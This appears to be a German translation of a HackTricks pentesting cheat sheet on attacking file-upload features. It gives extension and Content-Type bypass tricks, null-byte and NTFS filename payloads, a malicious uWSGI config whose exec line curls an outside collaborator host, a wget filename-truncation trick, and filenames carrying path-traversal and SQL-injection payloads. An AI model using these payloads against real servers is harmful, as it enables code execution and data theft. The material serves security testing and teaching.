# Datei-Upload
Erlernen Sie AWS-Hacking von Grund auf mithtARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositorys senden.
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
{% embed url="https://www.stmcyber.com/careers" %}
## Allgemeine Methodik für Datei-Upload
Andere nützliche Erweiterungen:
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
* **Arbeiten in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
* **Flash**: _.swf_
* **Perl**: _.pl, .cgi_
* **Erlang Yaws Web Server**: _.yaws_
### Umgehen von Dateierweiterungsprüfungen
1. Wenn sie angewendet werden, überprüfen Sie die **vorherigen Erweiterungen**. Testen Sie sie auch mit einigen **Großbuchstaben**: _pHp, .pHP5, .PhAr ..._
2. _Überprüfen Sie, ob Sie **eine gültige Erweiterung vor** der Ausführungserweiterung hinzufügen können (verwenden Sie auch vorherige Erweiterungen):_
* _file.png.php_
* _file.png.Php5_
3. Versuchen Sie, **Sonderzeichen am Ende hinzuzufügen**. Sie könnten Burp verwenden, um alle **ASCII**- und **Unicode**-Zeichen **bruteforce** zu verwenden. (_Beachten Sie, dass Sie auch die **zuvor** genannten **Erweiterungen** ausprobieren können_)
* _file.php%20_
* _file.php%0a_
* _file.php%00_
* _file.php%0d%0a_
* _file.php/_
* _file.php.\\_
* _file._
* _file.php...._
* _file.pHp5...._
4. Versuchen Sie, die Schutzmaßnahmen zu umgehen, indem Sie den **Erweiterungsparser** auf der Serverseite mit Techniken wie dem **Verdoppeln** der **Erweiterung** oder dem Hinzufügen von **Junk**-Daten (**Null**-Bytes) austricksen. _Sie können auch die **vorherigen Erweiterungen** verwenden, um ein besseres Payload vorzubereiten._
* _file.png.php_
* _file.png.pHp5_
* _file.php#.png_
* _file.php%00.png_
* _file.php\x00.png_
* _file.php%0a.png_
* _file.php%0d%0a.png_
* _file.phpJunk123png_
5. Fügen Sie eine **weitere Schicht von Erweiterungen** zur vorherigen Überprüfung hinzu:
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
6. Versuchen Sie, die **Ausführungserweiterung vor der gültigen Erweiterung** zu platzieren und hoffen Sie, dass der Server falsch konfiguriert ist. (nützlich, um Apache-Fehlkonfigurationen auszunutzen, bei denen alles mit der Erweiterung\*\* _**.php**_**, aber** nicht unbedingt mit .php endet\*\* Code ausführen wird):
* _z. B.: file.php.png_
7. Verwenden von **NTFS-Alternativen Datenströmen (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunkt ":" nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. Dadurch wird eine **leere Datei mit der verbotenen Erweiterung** auf dem Server erstellt (z. B. "file.asax:.jpg"). Diese Datei kann später bearbeitet werden, indem andere Techniken wie die Verwendung ihres Kurznamens verwendet werden. Das Muster "**::$data**" kann auch verwendet werden, um nicht leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punktzeichens nach diesem Muster auch nützlich sein, um weitere Einschränkungen zu umgehen (z. B. "file.asp::$data.")
8. Versuchen Sie, die Dateinamenbeschränkungen zu umgehen. Die gültige Erweiterung wird abgeschnitten, und das bösartige PHP bleibt übrig. AAA<--SNIP-->AAA.php
```
# Linux maximal 255 Bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # hier 4 abziehen und .png hinzufügen
# Laden Sie die Datei hoch und überprüfen Sie die Antwort, wie viele Zeichen erlaubt sind. Angenommen, 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Erstellen Sie das Payload
AAA<--SNIP 232 A-->AAA.php.png
```
### Umgehen von Content-Type, Magic Number, Komprimierung & Größenänderung
* Umgehen Sie **Content-Type**-Überprüfungen, indem Sie den **Wert** des **Content-Type-Headers** auf: _image/png_, _text/plain, application/octet-stream_ setzen.
1. Content-Type **Wortliste**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* Umgehen Sie die **Magic Number**-Überprüfung, indem Sie am Anfang der Datei die **Bytes eines echten Bildes** hinzufügen (um den _file_-Befehl zu verwirren). Oder führen Sie die Shell in die **Metadaten** ein:\
`exiftool -Comment="' >> img.png`
* Wenn **Komprimierung zu Ihrem Bild hinzugefügt wird**, z.B. durch die Verwendung einiger Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die zuvor genannten Techniken nicht nützlich. Sie könnten jedoch die **PLTE-Chunk**-Technik [**hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der **die Komprimierung überleben wird**.
* [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* Die Webseite könnte auch das **Bild verkleinern**, z.B. mit den PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled`. Sie könnten jedoch die **IDAT-Chunk**-Technik [**hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der **die Komprimierung überleben wird**.
* [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Eine weitere Technik, um ein Payload zu erstellen, der **eine Bildverkleinerung überlebt**, ist die Verwendung der PHP-GD-Funktion `thumbnailImage`. Sie könnten jedoch die **tEXt-Chunk**-Technik [**hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der **die Komprimierung überleben wird**.
* [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Weitere Tricks zum Überprüfen
* Finden Sie eine Schwachstelle, um die bereits hochgeladene Datei umzubenennen (um die Erweiterung zu ändern).
* Finden Sie eine Schwachstelle für **Local File Inclusion**, um die Backdoor auszuführen.
* **Mögliche Informationspreisgabe**:
1. Laden Sie **mehrmals** (und **gleichzeitig**) die **gleiche Datei** mit dem **gleichen Namen** hoch.
2. Laden Sie eine Datei mit dem **Namen einer Datei** oder eines **Ordners**, der **bereits existiert**, hoch.
3. Laden Sie eine Datei mit **“.”, “..” oder “…” als Namen** hoch. Zum Beispiel, in Apache in **Windows**, wenn die Anwendung die hochgeladenen Dateien im Verzeichnis “/www/uploads/” speichert, wird die Datei mit dem Namen “.” eine Datei namens “uploads” im Verzeichnis “/www/” erstellen.
4. Laden Sie eine Datei hoch, die möglicherweise nicht leicht gelöscht werden kann, wie z.B. **“…:.jpg”** in **NTFS** (Windows).
5. Laden Sie eine Datei in **Windows** mit **ungültigen Zeichen** wie `|<>*?”` in ihrem Namen hoch (Windows).
6. Laden Sie eine Datei in **Windows** hoch, indem Sie **reservierte** (**verbotene**) **Namen** wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9 verwenden.
* Versuchen Sie auch, eine ausführbare Datei (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die Code ausführt, wenn sie versehentlich vom Opfer geöffnet wird.
### Spezielle Erweiterungstricks
Wenn Sie versuchen, Dateien auf einen **PHP-Server hochzuladen**, [schauen Sie sich den **.htaccess**-Trick an, um Code auszuführen](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Wenn Sie versuchen, Dateien auf einen **ASP-Server hochzuladen**, [schauen Sie sich den **.config**-Trick an, um Code auszuführen](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Die `.phar`-Dateien sind wie die `.jar`-Dateien für Java, aber für PHP und können wie eine PHP-Datei verwendet werden (durch Ausführen mit PHP oder Einbinden in ein Skript...).
Die `.inc`-Erweiterung wird manchmal für PHP-Dateien verwendet, die nur zum **Import von Dateien** dienen, sodass jemand diese Erweiterung möglicherweise **zur Ausführung zugelassen hat**.
## **Jetty RCE**
Wenn Sie eine XML-Datei auf einen Jetty-Server hochladen können, können Sie [RCE erhalten, da **neue \*.xml- und \*.war-Dateien automatisch verarbeitet werden**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Laden Sie also die XML-Datei in `$JETTY_BASE/webapps/` hoch und erwarten Sie die Shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>)
## **uWSGI RCE**
Für eine detaillierte Erkundung dieser Schwachstelle lesen Sie die Originalforschung: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Remote Command Execution (RCE)-Schwachstellen können in uWSGI-Servern ausgenutzt werden, wenn man die Fähigkeit hat, die `.ini`-Konfigurationsdatei zu ändern. uWSGI-Konfigurationsdateien verwenden eine spezifische Syntax, um "magische" Variablen, Platzhalter und Operatoren einzubeziehen. Insbesondere der '@'-Operator, der als `@(Dateiname)` verwendet wird, ist dazu gedacht, den Inhalt einer Datei einzuschließen. Unter den verschiedenen unterstützten Schemata in uWSGI ist das "exec"-Schema besonders mächtig und ermöglicht das Lesen von Daten aus der Standardausgabe eines Prozesses. Diese Funktion kann für böswillige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read manipuliert werden, wenn eine `.ini`-Konfigurationsdatei verarbeitet wird.
Betrachten Sie das folgende Beispiel einer schädlichen `uwsgi.ini`-Datei, die verschiedene Schemata zeigt:
```ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Die Ausführung der Nutzlast erfolgt während des Parsens der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst wird, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Absturz oder aufgrund eines Denial-of-Service-Angriffs) oder die Datei muss auf Auto-Reload eingestellt sein. Die Auto-Reload-Funktion lädt die Datei in festgelegten Intervallen neu, wenn Änderungen erkannt werden.
Es ist entscheidend, die lockere Natur des Konfigurationsdatei-Parsings von uWSGI zu verstehen. Insbesondere kann die besprochene Nutzlast in eine Binärdatei (wie ein Bild oder PDF) eingefügt werden, was den potenziellen Ausbeutungsbereich weiter ausdehnt.
## **wget Datei-Upload/SSRF-Trick**
In einigen Fällen kann festgestellt werden, dass ein Server **`wget`** zum **Herunterladen von Dateien** verwendet und Sie die **URL angeben können**. In diesen Fällen überprüft der Code möglicherweise, ob die Erweiterung der heruntergeladenen Dateien in einer Whitelist enthalten ist, um sicherzustellen, dass nur zugelassene Dateien heruntergeladen werden. **Diese Überprüfung kann jedoch umgangen werden.**\
Die **maximale** Länge eines **Dateinamens** in **Linux** beträgt **255**, jedoch kürzt **wget** die Dateinamen auf **236** Zeichen. Sie können eine Datei namens "A"\*232+".php"+".gif" herunterladen, dieser Dateiname wird die **Überprüfung umgehen** (da in diesem Beispiel **".gif"** eine **gültige** Erweiterung ist), aber `wget` wird die Datei in **"A"\*232+".php"** umbenennen.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
```
```bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
Beachten Sie, dass **eine weitere Option**, die Sie möglicherweise in Betracht ziehen, um diese Überprüfung zu umgehen, darin besteht, den **HTTP-Server auf eine andere Datei umzuleiten**, sodass die ursprüngliche URL die Überprüfung umgeht und wget dann die umgeleitete Datei mit dem neuen Namen herunterlädt. Dies **funktioniert nicht**, **es sei denn**, wget wird mit dem **Parameter** `--trust-server-names` verwendet, da **wget die umgeleitete Seite mit dem Namen der Datei herunterlädt, der in der ursprünglichen URL angegeben ist**.
## Werkzeuge
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) ist ein leistungsstarkes Tool, das Pentestern und Bug Bounty Jägern dabei hilft, Datei-Upload-Mechanismen zu testen. Es nutzt verschiedene Bug-Bounty-Techniken, um den Prozess der Identifizierung und Ausnutzung von Schwachstellen zu vereinfachen und eine gründliche Bewertung von Webanwendungen sicherzustellen.
## Vom Datei-Upload zu anderen Schwachstellen
* Setzen Sie den **Dateinamen** auf `../../../tmp/lol.png` und versuchen Sie, eine **Pfadtraversierung** zu erreichen
* Setzen Sie den **Dateinamen** auf `sleep(10)-- -.jpg` und Sie könnten eine **SQL-Injektion** erreichen
* Setzen Sie den **Dateinamen** auf `